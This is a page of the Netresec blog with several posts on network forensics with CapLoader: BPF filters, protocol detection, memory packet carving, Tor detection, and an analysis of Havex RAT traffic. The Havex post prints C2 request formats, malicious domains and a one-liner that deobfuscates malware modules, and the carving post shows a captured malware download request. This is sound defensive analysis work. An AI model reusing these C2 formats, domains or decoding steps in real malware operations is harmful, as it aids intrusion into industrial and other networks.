Tags: #Netresec #PCAP #Troopers #Network Forensics #Training #Class #NetworkMiner #CapLoader

Share: Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=15C5EC9


BPF is your Friend

CapLoader BPF

CapLoader comes with support for Berkeley Packet Filter (BPF), which makes it possible to filter network traffic based on IP addresses, protocols and port numbers without using external tools. Being able to filter captured network traffic is crucial when analyzing large sets of PCAP files as well as in order to hunt down compromised hosts with Rinse Repeat Intrusion Detection.

There are two ways to apply filters with BPF in CapLoader; you can either apply an input filter before loading your PCAPs, or you can apply a display filter after the capture files have been loaded.


Input Filter

The fastest way to filter a large set of PCAP files with CapLoader is to enter an Input Filter before loading the capture files. Having an input filter will speed up the loading time significantly, since CapLoader will not need to analyze packets and flows that don't match the BPF syntax. The downside is that you will need to know beforehand what filter you want to use. In order to apply a changed input filter you need to reload the loaded PCAP files (pressing F5 will do this for you).

CapLoader with input filter “tcp port 443”
Image: CapLoader with input filter “tcp port 443”

Display Filter

CapLoader supports display filters in order to allow filters to be changed on the fly, without having to reload the PCAP files. As the name implies, display filters affect what flows/services/hosts that are displayed in CapLoader. A changed display filter does not require the dataset to be reloaded, but it does require the GUI to update the visible flows. This GUI update will be somewhat slower compared to when setting an input filter.

CapLoader with display filter “host 94.23.23.39”
Image: CapLoader with display filter “host 94.23.23.39”

BPF Syntax

CapLoader's BPF implementation does not support the full BPF syntax. In fact, only the most central primitives are implemented, which are:

host <IP address>Flows to or from the specified IPv4 or IPv6 address
net <CIDR> Flows to or from the specified IP network, uses CIDR notation
port <port>Flows to or from the specified port number
ip6Flows using IPv6 addresses
ipFlows using IPv4 addresses
tcpTCP flows
udpUDP flows
sctpSCTP flows

More complex filter expressions can be built up by using the words and, or, not and parentheses to combine primitives. Here are some examples:

  • host 8.8.8.8 and udp port 53
  • net 199.16.156.0/22 and port 80
  • (port 80 or port 443) and not host 192.168.0.1

For all boolean algebra geeks out there we can confirm that our BPF implementation gives and precedence over or, which means that the last example above would give a different result if the parentheses were removed.


Keeping it Short

Steve McCanne gave a keynote presentation at SharkFest 2011, where he talked about how he created BPF. Steve's work was guided by Van Jacobson, who challenged him to make the BPF syntax human friendly rather than requiring the user to type a clunky filtering syntax. We've adopted this thinking and therefore allow filters like these:

  • 10.1.1.3
    Flows to or from IP address 10.1.1.3. Translates to “ip host 10.1.1.3”

  • 128.3/16
    Flows to or from the 128.3.0.0/16 network. Translates to “ip net 128.3.0.0/16”

  • port 53
    Flows to or from TCP, UDP or SCTP port 53.


Try it for Free!

We've made the BPF implementation available even in the free version of CapLoader. You don't need to register to get the free version; just download, extract and run. The tool is portable, so you won't even have to install it. Visit https://www.netresec.com/?page=CapLoader to grab a copy and start filtering!


UPDATE 2016-05-23

With the release of CapLoader 1.4 it is now possible to apply Display Filters not only to the Flows tab, but also to the Services and Hosts tab.

Posted by Erik Hjelmvik on Monday, 30 November 2015 08:15:00 (UTC/GMT)

Tags: #CapLoader #BPF #PCAP #Berkeley Packet Filter #filter #IP #port #CIDR

Share: Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=15B2F44


Port Independent Protocol Detection

Protocol Alphabet Soup by ThousandEyes

Our heavy-duty PCAP analyzer CapLoader comes with a feature called ”Port Independent Protocol Identification”, a.k.a. PIPI (see Richard Bejtlich's PIPI blog post from 2006). Academic research in the Traffic Measurement field often use the term ”Traffic Classification”, which is similar but not the same thing. Traffic Classification normally group network traffic in broad classes, such as Email, Web, Chat or VoIP. CapLoader, on the other hand, identifies the actual application layer protocol used in each flow. So instead of classifying a flow as ”VoIP” CapLoader will tell you if the flow carries SIP, Skype, RTP or MGCP traffic. This approach is also known as “Dynamic Protocol Detection”.

Being able to identify application layer protocols without relying on the TCP or UDP port number is crucial when analyzing malicious traffic, such as malware Command-and-Control (C2) communication, covert backdoors and rouge servers, since such communication often use services on non-standard ports. Some common examples are:

  • Many botnet C2 protocols communicate over port TCP 443, but using a proprietary protocol rather than HTTP over SSL.
  • Backdoors on hacked computers and network devices typically wither run a standard service like SSH on a port other than 22 in order to hide.
  • More advanced backdoors use port knocking to run a proprietary C2 protocol on a standard port (SYNful knock runs on TCP 80).

This means that by analyzing network traffic for port-protocol anomalies, like an outgoing TCP connection to TCP 443 that isn't SSL, you can effectively detect intrusions without having IDS signatures for all C2 protocols. This analysis technique is often used when performing Rinse-Repeat Intrusion Detection, which is a blacklist-free approach for identifying intrusions and other form of malicious network traffic. With CapLoader one can simply apply a BPF filter like “port 443” and scroll through the displayed flows to make sure they are all say “SSL” in the Protocol column.

CapLoader detects non-SSL traffic to 1.web-counter.info Image: Miuref/Boaxxe Trojan C2 traffic to "1.web-counter[.]info" on TCP 443 doesn't use SSL (or HTTPS)

Statistical Analysis

CapLoader relies on statistical analysis of each TCP, UDP and SCTP session's behavior in order to compare it to previously computed statistical models for known protocols. These statistical models are generated using a multitude of metrics, such as inter-packet delays, packet sizes and payload data. The port number is, on the other hand, a parameter that is intentionally not used by CapLoader to determine the application layer protocol.

The PIPI/Dynamic Protocol Detection feature in CapLoader has been designed to detect even encrypted and obfuscated binary protocols, such as Tor and Encrypted BitTorrent (MSE). These protocols are designed in order to deceive protocol detection mechanisms, and traditional signature based protocol detection algorithms can't reliably detect them. The statistical approach employed by CapLoader can, on the other hand, actually detect even these highly obfuscated protocols. It is, however, important to note that being a statistical method it will never be 100% accurate. Analysts should therefore not take for granted that a flow is using the protocol stated by CapLoader. There are some situations when it is very difficult to accurately classify an encrypted protocol, such as when the first part of a TCP session is missing in the analyzed data. This can occur when there is an ongoing session that was established before the packet capture was started.


Identified Protocols

The following protocols are currently available for detection in CapLoader's protocol database:

AOL Instant Messenger
BACnet
BitTorrent
BitTorrent Encrypted - MSE
CCCam
CUPS
DAYTIME
DHCP
DHCPv6
Diameter
DirectConnect
DNS
Dockster
DropBox LSP
eDonkey
eDonkey Obfuscated
EtherNet-IP
FTP
Gh0st RAT
Gnutella
Groove LAN DPP
HSRP
HTTP
IMAP
IRC
ISAKMP
iSCSI
JavaRMI
Kelihos
Kerberos
L2TP
LDAP
LLC
Meterpreter
MgCam
MGCP
MikroTik NDP
Modbus TCP
MSN Messenger
MS RPC
MS-SQL
MySQL
NAT-PMP
NetBIOS Datagram Service
NetBIOS Name Service
NetBIOS Session Service
NetFlow
NTP
OsCam
Pcap-over-IP
Poison Ivy RAT
POP3
QUIC
Ramnit
Reverse Shell
RTCP
RTP
RTSP
Shell
SIP
Skype
SLP
SMTP
SNMP
Socks
SopCast P2P
Spotify P2P
Spotify Server
SSH
SSL
Syslog
TeamViewer
TeamViewer UDP
Telnet
Teredo
TFTP
TFTP Data
TPKT
VNC
WS-Discovery
XMPP Jabber
ZeroAccess
Zeus TCP
Zeus UDP

The list of implemented protocols is constantly being increased with new protocols.


PIPI in NetworkMiner

NetworkMiner Logo

NetworkMiner Professional, which is the commercial version of NetworkMiner, also comes with an implementation of our protocol detection mechanism. Even though NetworkMiner Professional doesn't detect as many protocols as CapLoader, the PIPI feature built into NetworkMiner Pro still helps a lot when analyzing HTTP traffic on ports other that 80 or 8080 as well as in order to reassemble files downloaded from FTP or TFTP servers running on non-standard ports.

 

Posted by Erik Hjelmvik on Tuesday, 06 October 2015 09:05:00 (UTC/GMT)

Tags: #Protocol Identification #CapLoader #VoIP #SIP #RTP #TOR #SSL #PIPI #PCAP #NetworkMiner

Share: Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=15A1776


CapLoader 1.3 Released

CapLoader Logo

A new version of our heavy-duty PCAP parser tool CapLoader is now available. There are many new features and improvements in this release, such as the ability to filter flows with BPF, domain name extraction via passive DNS parser and matching of domain names against a local white list.


Filtering with BPF

The main focus in the work behind CapLoader 1.3 has been to fully support the Rinse-Repeat Intrusion Detection methodology. We've done this by improving the filtering capabilities in CapLoader. For starters, we've added an input filter, which can be used to specify IP addresses, IP networks, protocols or port numbers to be parsed or ignored. The input filter uses the Berkeley Packet Filter (BPF) syntax, and is designed to run really fast. So if you wanna analyze only HTTP traffic you can simply write “port 80” as your input filter to have CapLoader only parse and display flows going to or from port 80. We have also added a display filter, which unlike Wireshark also uses BPF. Thus, once a set of flows is loaded one can easily apply different display filters, like “host 194.9.94.80” or “net 192.168.1.0/24”, to apply different views on the parsed data.

CapLoader BPF Input Filter and Display Filter
Image: CapLoader with input filter "port 80 or port 443" and display filter "not net 74.125.0.0/16".

The main differences between the input filter and display filter are:

  • Input filter is much faster than the display filter, so if you know beforehand what ports, protocols or IP addresses you are interested in then make sure to apply them as an input filter. You will notice a delay when applying a display filter to a view of 10.000 flows or more.
  • In order to apply a new input filter CapLoader has to reload all the opened PCAP files (which is done by pressing F5). Modifying display filters, on the other hand, only requires you to press Enter or hit the “Apply” button.
  • Previously applied display filters are accessible in a drop-down menu in the GUI, but no history is kept of previous input filters.


NetFlow + DNS == true

The “Flows” view in CapLoader gives a great overview of all TCP, UDP and SCTP flows in the loaded PCAP files. However, it is usually not obvious to an analyst what every IP address is used for. We have therefore added a DNS parser to CapLoader, so that all DNS packets can be parsed in order to map IP addresses to domain names. The extracted domain names are displayed for each flow, which is very useful when performing Rinse-Repeat analysis in order to quickly remove “known good servers” from the analysis.


Leveraging the Alexa top 1M list

As we've show in in our previous blog post “DNS whitelisting in NetworkMiner”, using a list of popular domain names as a whitelist can be an effective method for finding malware. We often use this approach in order to quickly remove lots of known good servers when doing Rinse-Repeat analysis in large datasets.

Therefore, just as we did for NetworkMiner 1.5, CapLoader now includes Alexa's list of the 1 million most popular domain names on the Internet. All domain names, parsed from DNS traffic, are checked against the Alexa list. Domains listed in the whitelist are shown in CapLoader's “Server_Alexa_Domian” column. This makes it very easy to sort on this column in order to remove (hide) all flows going to “normal” servers on the Internet. After removing all those flows, what you're left with is pretty much just:

  • Local traffic (not sent over the Internet)
  • Outgoing traffic to either new or obscure domains

Manually going through the remaining flows can be very rewarding, as it can reveal C2 traffic from malware that has not yet been detected by traditional security products like anti-virus or IDS.

Flows in CapLoader with DNS parsing and Alexa lookup
Image: CapLoader with malicious flow to 1.web-counter[.]info (Miuref/Boaxxe Trojan) singled out due to missing Alexa match.

Many new features in CapLoader 1.3

The new features highlighted above are far from the only additions made to CapLoader 1.3. Here is a more complete list of improvements in this release:

  • Support for “Select Flows in PCAP” to extract and select 5-tuples from a PCAP-file. This can be a Snort PCAP with packets that have triggered IDS signatures. This way you can easily extract the whole TCP or UDP flow for each signature match, instead of just trying to make sense of one single packet per alert.
  • Improved packet carver functionality to better carve IP, TCP and UPD packets from any file. This includes memory dumps as well as proprietary and obscure packet capture formats.
  • Support for SCTP flows.
  • DNS parser.
  • Alexa top 1M matching.
  • Input filter and display filter with BPF syntax.
  • Flow Producer-Consumer-Ratio PCR.
  • Flow Transcript can be opened simply by double-clicking a flow.
  • Find form updated with option to hide non-matching flows instead of just selecting the flows that matched the keyword search criteria.
  • New flow transcript encoding with IP TTL, TCP flags and sequence numbers to support analysis of Man-on-the-Side attacks.
  • Faster loading of previously opened files, MD5 hashes don't need to be recalculated.
  • A selected set of flows in the GUI can be inverted simply by right-clicking the flow list and selecting “Invert Selection” or by hitting Ctrl+I.


Downloading CapLoader 1.3

All these new features, except for the Alexa lookup of domain names, are available in our free trial version of CapLoader. So to try out these new features in CapLoader, simply grab a trial download here:
https://www.netresec.com/?page=CapLoader#trial (no registration needed)

All paying customers with an older version of CapLoader can grab a free update for version 1.3 at our customer portal.

Posted by Erik Hjelmvik on Monday, 28 September 2015 07:30:00 (UTC/GMT)

Tags: #CapLoader #BPF #Berkeley Packet Filter #Rinse-Repeat #DNS #Alexa #PCAP #Passive DNS #NetFlow #Malware #C2

Share: Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=15914E3


Observing the Havex RAT

Havex RAT, original 'Street-rat' by Edal Anton Lefterov. Licensed under Creative Commons Attribution-Share Alike 3.0

It has, so far, been publicly reported that three ICS vendors have spread the Havex Remote-Access-Tool (RAT) as part of their official downloads. We've covered the six pieces of software from these three vendors in our blog post ”Full Disclosure of Havex Trojans”. In this blog post we proceed by analyzing network traffic generated by Havex.


Indicators of Compromise

Before going into details of our analysis we'd like to recommend a few other resources that can be used to detect the Havex RAT. There are three Havex IDS signatures available via Emerging Threats. There are also Yara rules and OpenIOC signatures available for Havex. Additionally, the following domains are known to be used in the later versions (043 and 044) of Havex according to Kaspersky:

  • disney.freesexycomics.com
  • electroconf.xe0.ru
  • rapidecharge.gigfa.com
  • sinfulcelebs.freesexycomics.com
  • www.iamnumber.com


HTTP Command-and-Control

The Havex RAT Command-and-Control (C2) protocol is based on HTTP POST requests, which typically look something like this:

POST /blogs/wp-content/plugins/buddypress/bp-settings/bpsettings-src.php?id=84651193834787196090098FD80-c8a7af419640516616c342b13efab&​v1=043&​v2=170393861&​q=45474bca5c3a10c8e94e56543c2bd

As you can see, four variables are sent in the QueryString of this HTTP POST request; namely id, v1, v2 and q. Let's take a closer look to see what data is actually sent to the C2 server in the QueryString.

Param Description Common Values
id host identifier id=[random number][random hex]-c8a7af419640516616c342b13efab
id=[random number][random-hex]-003f6dd097e6f392bd1928066eaa3
v1 Havex version 043
044
v2 Windows version 170393861 (Windows XP)
498073862 (Windows 7)
498139398 (Windows 7, SP1)
q Unknown q=45474bca5c3a10c8e94e56543c2bd (Havex 043)
q=0c6256822b15510ebae07104f3152 (Havex 043)
q=214fd4a8895e07611ab2dac9fae46 (Havex 044)
q=35a37eab60b51a9ce61411a760075 (Havex 044)

Analyzing a Havex PCAP

I had the pleasure to discuss the Havex Malware with Joel Langill, when we met at the 4SICS conference in Stockholm last month. Joel was nice enough to provide me with a 800 MB PCAP file from when he executed the Havex malware in an Internet connected lab environment.

CapLoader Transcript of Havex C2 traffic
Image: CapLoader transcript of Havex C2 traffic

I used the command line tool NetworkMinerCLI (in Linux) to automatically extract all HTTP downloads from Joel's PCAP file to disk. This way I also got a CSV log file with some useful metadata about the extracted files. Let's have a closer look at what was extracted:

$ mono NetworkMinerCLI.exe -r new-round-09-setup.pcap
Closing file handles...
970167 frames parsed in 1337.807 seconds.

$ cut -d, -f 1,2,3,4,7,12 new-round-09-setup.pcap.FileInfos.csv | head

SourceIP   SourcePort  DestinationIP  DestinationPort FileSize   Frame
185.27.134.100   TCP 80   192.168.1.121   TCP 1238   244 676 B       14
198.63.208.206   TCP 80   192.168.1.121   TCP 1261       150 B     1640
185.27.134.100   TCP 80   192.168.1.121   TCP 1286   359 508 B     3079
185.27.134.100   TCP 80   192.168.1.121   TCP 1311   236 648 B     4855
185.27.134.100   TCP 80   192.168.1.121   TCP 1329       150 B    22953
185.27.134.100   TCP 80   192.168.1.121   TCP 1338       150 B    94678
185.27.134.100   TCP 80   192.168.1.121   TCP 1346       150 B   112417
198.63.208.206   TCP 80   192.168.1.121   TCP 1353       150 B   130108
198.63.208.206   TCP 80   192.168.1.121   TCP 1365       150 B   147902

Files downloaded through Havex C2 communication are typically modules to be executed. However, these modules are downloaded in a somewhat obfuscated format; in order to extract them one need to do the following:

  • Base64 decode
  • Decompress (bzip2)
  • XOR with ”1312312”

To be more specific, here's a crude one-liner that I used to calculate MD5 hashes of the downloaded modules:

$ tail -c +95 C2_download.html | base64 -d | bzcat -d | xortool-xor -s "1312312" -f - -n | tail -c +330 | md5sum

To summarize the output from this one-liner, here's a list of the downloaded modules in Joel's PCAP file:

First
frame
Last
frame
Downloaded HTML MD5 Extracted module MD5
142937818cb3853eea675414480892ddfe6687cff1403546eba915f1d7c023f12a0df
307916429b20948513a1a4ea77dc3fc808a5ebb9840417d79736471c2f331550be993d79
48555117fb46a96fdd53de1b8c5e9826d85d42d6ba8da708b8784afd36c44bb5f1f436bc

All three extracted modules are known binaries associated with Havex. The third module is one of the Havex OPC scanner modules, let's have a look at what happens on the network after this module has been downloaded!


Analyzing Havex OPC Traffic

In Joel's PCAP file, the OPC module download finished at frame 5117. Less then a second later we see DCOM/MS RPC traffic. To understand this traffic we need to know how to interpret the UUID's used by MS RPC.

Marion Marschalek has listed 10 UUID's used by the Havex OPC module in order to enumerate OPC components. However, we've only observed four of these commands actually being used by the Havex OPC scanner module. These commands are:

MS RPC UUIDOPC-DA Command
9dd0b56c-ad9e-43ee-8305-487f3188bf7aIOPCServerList2
55c382c8-21c7-4e88-96c1-becfb1e3f483IOPCEnumGUID
39c13a4d-011e-11d0-9675-0020afd8adb3IOPCServer
39227004-a18f-4b57-8b0a-5235670f4468IOPCBrowse

Of these commands the ”IOPC Browse” is the ultimate goal for the Havex OPC scanner, since that's the command used to enumerate all OPC tags on an OPC server. Now, let's have a look at the PCAP file to see what OPC commands (i.e. UUID's) that have been issued.

$ tshark -r new-round-09-setup.first6000.pcap -n -Y 'dcerpc.cn_bind_to_uuid != 99fcfec4-5260-101b-bbcb-00aa0021347a' -T fields -e frame.number -e ip.dst -e dcerpc.cn_bind_to_uuid -Eoccurrence=f -Eheader=y

frame.nr  ip.dst      dcerpc.cn_bind_to_uuid
5140    192.168.1.97  000001a0-0000-0000-c000-000000000046
5145    192.168.1.11  000001a0-0000-0000-c000-000000000046
5172    192.168.1.97  000001a0-0000-0000-c000-000000000046
5185    192.168.1.11  9dd0b56c-ad9e-43ee-8305-487f3188bf7a
5193    192.168.1.97  000001a0-0000-0000-c000-000000000046
5198    192.168.1.11  55c382c8-21c7-4e88-96c1-becfb1e3f483
5212    192.168.1.11  00000143-0000-0000-c000-000000000046
5247    192.168.1.11  000001a0-0000-0000-c000-000000000046
5257    192.168.1.11  00000143-0000-0000-c000-000000000046
5269    192.168.1.11  00000143-0000-0000-c000-000000000046
5274    192.168.1.11  39c13a4d-011e-11d0-9675-0020afd8adb3
5280    192.168.1.11  39c13a4d-011e-11d0-9675-0020afd8adb3
5285    192.168.1.11  39227004-a18f-4b57-8b0a-5235670f4468
5286    192.168.1.11  39227004-a18f-4b57-8b0a-5235670f4468
[...]

We can thereby verify that the IOPCBrowse command was sent to one of Joel's OPC servers in frame 5285 and 5286. However, tshark/Wireshark is not able to parse the list of OPC items (tags) that are returned from this function call. Also, in order to find all IOPCBrowse commands in a more effective way we'd like to search for the binary representation of this command with tools like ngrep or CapLoader. It would even be possible to generate an IDS signature for IOPCBrowse if we'd know what to look for.

The first part of an MSRPC UUID is typically sent in little endian, which means that the IOPCBrowse command is actually sent over the wire as:

04 70 22 39 8f a1 57 4b 8b 0a 52 35 67 0f 44 68

Let's search for that value in Joel's PCAP file:

CapLoader 1.2 Find Keyword Window
Image: Searching for IOPCBrowse byte sequence with CapLoader

CapLoader 1.2 flow view
Image: CapLoader with 169 extracted flows matching IOPCBrowse UUID

Apparently 169 flows contain one or several packets that match the IOPCBrowse UUID. Let's do a “Flow Transcript” and see if any OPC tags have been sent back to the Havex OPC scanner.

CapLoader 1.2 Transcript of OPC-DA session
Image: CapLoader Transcript of OPC-DA session

Oh yes, the Havex OPC scanner sure received OPC tags from what appears to be a Waterfall unidirectional OPC gateway.

Another way to find scanned OPC tags is to search for a unique tag name, like “Bucket Brigade” in this example.

Posted by Erik Hjelmvik on Wednesday, 12 November 2014 21:09:00 (UTC/GMT)

Tags: #Havex #PCAP #NSM #ICS #C2 #NetworkMinerCLI #CapLoader

Share: Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=14BE342


Carving Network Packets from Memory Dump Files

Hattori Hanzo by Stefan Ledwina A new feature in the recently released CapLoader 1.2 is the ability to carve network packets from any file and save them in the PCAP-NG format. This fusion between memory forensics and network forensics makes it possible to extract sent and received IP frames, with complete payload, from RAM dumps as well as from raw disk images.

CapLoader will basically carve any TCP or UDP packet that is preceded by an IP frame (both IPv4 and IPv6 are supported), and believe me; there are quite a few such packets in a normal memory image!

We've made the packet carver feature available in the free version of CapLoader, so feel free to give it a try!

The packet carving feature makes it possible do much better analysis of network traffic in memory dumps compared to Volatility's connscan2. With Volatility you basically get the IP addresses and port numbers that communicated, but with CapLoader's packet carver you also get the contents of the communication!

Modern depiction of ninja with ninjato (ninja sword), Edo wonderland, Japan

EXAMPLE: Honeynet Banking Troubles Image

I loaded the publicly available “Banking Troubles” memory image from the Honeynet Project into CapLoader to exemplify the packet carver's usefulness in a digital forensics / incident response (DFIR) scenario.

CapLoader 1.2 Carving Packets from HoneyNet Memory Image
CapLoader 1.2 Carving Packets from HoneyNet Memory Image

CapLoader 1.2 Finished Carving Packets from HoneyNet Memory Image
22 TCP/UDP Flows were carved from the memory image by CapLoader

Let's look at the network traffic information that was extracted in the Honeynet Project's own solution for the Banking Troubles Challenge:

python volatility connscan2 -f images/hn_forensics.vmem"
Local Address Remote Address Pid
------------------------- ------------------------- ------
192.168.0.176:1176 212.150.164.203:80 888
192.168.0.176:1189 192.168.0.1:9393 1244
192.168.0.176:2869 192.168.0.1:30379 1244
192.168.0.176:2869 192.168.0.1:30380 4
0.0.0.0:0 80.206.204.129:0 0
127.0.0.1:1168 127.0.0.1:1169 888
192.168.0.176:1172 66.249.91.104:80 888
127.0.0.1:1169 127.0.0.1:1168 888
192.168.0.176:1171 66.249.90.104:80 888
192.168.0.176:1178 212.150.164.203:80 1752
192.168.0.176:1184 193.104.22.71:80 880
192.168.0.176:1185 193.104.22.71:80 880

[...]

"This connection [marked in bold above] was opened by AcroRd32.exe (PID 1752) and this represents an additional clue that an Adobe Reader exploit was used in order to download and execute a malware sample."

The solution doesn't provide any evidence regarding what Acrobat Reader actually used the TCP connection for. Additionally, none of the three finalists managed to prove what was sent over this connection.

To view the payload of this TCP connection in CapLoader, I simply right-clicked the corresponding row and selected “Flow Transcript”.

Transcript of TCP flow contents in CapLoader
Transcript of TCP flow contents (much like Wireshark's Follow-TCP-Stream)

We can see that the following was sent from 192.168.0.176 to 212.150.164.203:

GET /load.php?a=a&st=Internet%20Explorer%206.0&e=2 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: search-network-plus.com
Connection: Keep-Alive

Notice that the HTTP GET request took place at the end of the TCP session. Odd? Well, CapLoader doesn't know the timestamp of carved packets, so they are simply ordered as they were discovered in the dump file. The timestamp generated for each carved packet represents where in the image/dump the packet was found. Or more precise: the number of microseconds since EPOCH (1970-01-01 00:00:00) is the offset (in bytes) from where the packet was carved.

Hence, we know that the HTTP GET request can be found between offset 37068800 and 37507072 in the image (a 428 kB region). To be more exact we can open the generated PcapNG file with Wireshark or Tshark to get the timestamp and length of the actual HTTP GET request packet.

tshark.exe -r Bob.vmem.pcapng" -R http.request -T fields -e frame.time_epoch -e frame.len -e http.request.uri
31.900664000 175 *
37.457920000 175 *
37.462016000 286 /load.php?a=a&st=Internet%20Explorer%206.0&e=2
37.509120000 175 *
37.519360000 245 /~produkt/983745213424/34650798253
37.552128000 266 /root.sxml
37.570560000 265 /l3fw.xml
37.591040000 274 /WANCommonIFC1.xml
37.607424000 271 /WANIPConn1.xml

Now, lets verify that the raw packet data is actually 37462016 bytes into the memory dump.

xxd -s 37462016 -l 286 Bob.vmem
23ba000: 0021 9101 b248 000c 2920 d71e 0800 4500 .!...H..) ....E.
23ba010: 0110 3113 4000 8006 8e1a c0a8 00b0 d496 ..1.@...........
23ba020: a4cb 049a 0050 7799 0550 f33b 7886 5018 .....Pw..P.;x.P.
23ba030: faf0 227e 0000 4745 5420 2f6c 6f61 642e .."~..GET /load.
23ba040: 7068 703f 613d 6126 7374 3d49 6e74 6572 php?a=a&st=Inter
23ba050: 6e65 7425 3230 4578 706c 6f72 6572 2532 net%20Explorer%2
23ba060: 3036 2e30 2665 3d32 2048 5454 502f 312e 06.0&e=2 HTTP/1.
23ba070: 310d 0a41 6363 6570 743a 202a 2f2a 0d0a 1..Accept: */*..
23ba080: 4163 6365 7074 2d45 6e63 6f64 696e 673a Accept-Encoding:
23ba090: 2067 7a69 702c 2064 6566 6c61 7465 0d0a gzip, deflate..
23ba0a0: 5573 6572 2d41 6765 6e74 3a20 4d6f 7a69 User-Agent: Mozi
23ba0b0: 6c6c 612f 342e 3020 2863 6f6d 7061 7469 lla/4.0 (compati
23ba0c0: 626c 653b 204d 5349 4520 362e 303b 2057 ble; MSIE 6.0; W
23ba0d0: 696e 646f 7773 204e 5420 352e 313b 2053 indows NT 5.1; S
23ba0e0: 5631 290d 0a48 6f73 743a 2073 6561 7263 V1)..Host: searc
23ba0f0: 682d 6e65 7477 6f72 6b2d 706c 7573 2e63 h-network-plus.c
23ba100: 6f6d 0d0a 436f 6e6e 6563 7469 6f6e 3a20 om..Connection:
23ba110: 4b65 6570 2d41 6c69 7665 0d0a 0d0a Keep-Alive....
Yep, that's our HTTP GET packet preceded by an Ethernet, IP and TCP header.

Ninja Training by Danny Choo

Give it a Try!

Wanna verify the packet carving functionality? Well, that's easy! Just follow these three steps:

  1. Download a sample memory image (thanks for the great resource Volatility Team!)
     OR
    Download the free RAM dumper DumpIt and dump your own computer's memory.
     OR
    Locate an existing file that already contains parts of your RAM, such as pagefile.sys or hiberfil.sys

  2. Download the free version of CapLoader and open the memory dump.

  3. Select destination for the generated PcapNG file with carved packets and hit the “Carve” button!

Illangam fighting scene with swords and shields at korathota angampora tradition

Carving Packets from Proprietary and odd Capture Formats

CapLoader can parse PCAP and PcapNG files, which are the two most widely used packet capture formats. However, the packet carving features makes it possible to extract packets from pretty much any capture format, including proprietary ones. The drawback is that timestamp information will be lost.

We have successfully verified that CapLoader can carve packets from the following network packet capture / network trace file formats:

  • .ETL files created with netsh or logman. These Event Trace Log files can be created without having WinPcap installed.
  • .CAP files created with Microsoft Network Monitor
  • .ENC files (NA Sniffer) from IBM ISS products like the Proventia IPS (as well as Robert Graham's old BlackICE)
  • .ERF files from Endace probes

Posted by Erik Hjelmvik on Monday, 17 March 2014 10:05:00 (UTC/GMT)

Tags: #Netresec #PCAP #carve #carver #packets #RAM #memory #dump #forensics #DFIR #CapLoader #memory forensics #PcapNG

Share: Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=143B7EE


Search and Carve Packets with CapLoader 1.2

CapLoader Logo CapLoader version 1.2 was released today, with lots of new powerful features.

The most significant additions in CapLoader 1.2 are:

  • Network packet carving, i.e. the ability to carve full content network packets from RAM dumps, disk images etc.
  • Flows can be hidden/filtered in the user interface.
  • Full content keyword search in capture files.
  • Flow can be selected based on TCP flags.
  • Better handling of broken and corrupt capture files.
What's really cool is that all these new features are available in the free version of CapLoader!

Nikon Microscope by windy_

In addition to these updates, customers using the commercial edition of CapLoader also get an updated protocol database. This update improves the Port Independent Protocol Identification (PIPI) feature in CapLoader with more protocols and better accuracy. Not only does this help analysts detect services like SSH, FTP and HTTP running on non-standard ports, but the protocol database also includes signatures for malware and APT C2 traffic like ZeroAccess, Zeus, Gh0st RAT and Poison Ivy RAT.

An update for CapLoader to version 1.2 is available for previous customers via our customer portal.

The free trial version of CapLoader can be downloaded from http://www.netresec.com/?page=CapLoader

CapLoader 1.2 with Transcript window
CapLoader 1.2 with suspect.pcap (from DFRWS 2008) loaded and Transcript window open

Posted by Erik Hjelmvik on Wednesday, 12 March 2014 14:45:00 (UTC/GMT)

Tags: #CapLoader #free #protocol #ZeroAccess #search #pcap

Share: Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=1430E03


Detecting TOR Communication in Network Traffic

The anonymity network Tor is often misused by hackers and criminals in order to remotely control hacked computers. In this blog post we explain why Tor is so well suited for such malicious purposes, but also how incident responders can detect Tor traffic in their networks.

Yellow onions with cross section. Photo taken by Andrew c

The privacy network Tor (originally short for The Onion Router) is often used by activists and whistleblowers, who wish to preserve their anonymity online. Tor is also used by citizens of countries with censored Internet (like in China, Saudi Arabia and Belarus), in order to evade the online censorship and surveillance systems. Authorities in repressive regimes are therefore actively trying to detect and block Tor traffic, which makes research on Tor protocol detection a sensitive subject.

Tor is, however, not only used for good; a great deal of the traffic in the Tor networks is in fact port scans, hacking attempts, exfiltration of stolen data and other forms of online criminality. Additionally, in December last year researchers at Rapid7 revealed a botnet called “SkyNet” that used Tor for its Command-and-Control (C2) communication. Here is what they wrote about the choice of running the C2 over Tor:

"Common botnets generally host their Command & Control (C&C) infrastructure on hacked, bought or rented servers, possibly registering domains to resolve the IP addresses of their servers. This approach exposes the botnet from being taken down or hijacked. The security industry generally will try to take the C&C servers offline and/or takeover the associated domains
[...]
What the Skynet botnet creator realized, is that he could build a much stronger infrastructure at no cost just by utilizing Tor as the internal communication protocol, and by using the Hidden Services functionality that Tor provides."


Tor disguised as HTTPS

Tor doesn't just provide encryption, it is also designed to look like normal HTTPS traffic. This makes Tor channels blend in quite well with normal web surfing traffic, which makes Tor communication difficult to identify even for experienced incident responders. As an example, here is how tshark interprets a Tor session to port TCP 443:

$ tshark -nr tbot_2E1814CCCF0.218EB916.pcap | head
1 0.000000 172.16.253.130 -> 86.59.21.38 TCP 62 1565 > 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1
2 0.126186 86.59.21.38 -> 172.16.253.130 TCP 60 443 > 1565 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460
3 0.126212 172.16.253.130 -> 86.59.21.38 TCP 54 1565 > 443 [ACK] Seq=1 Ack=1 Win=64240 Len=0
4 0.127964 172.16.253.130 -> 86.59.21.38 SSL 256 Client Hello
5 0.128304 86.59.21.38 -> 172.16.253.130 TCP 60 443 > 1565 [ACK] Seq=1 Ack=203 Win=64240 Len=0
6 0.253035 86.59.21.38 -> 172.16.253.130 TLSv1 990 Server Hello, Certificate, Server Key Exchange, Server Hello Done
7 0.259231 172.16.253.130 -> 86.59.21.38 TLSv1 252 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message
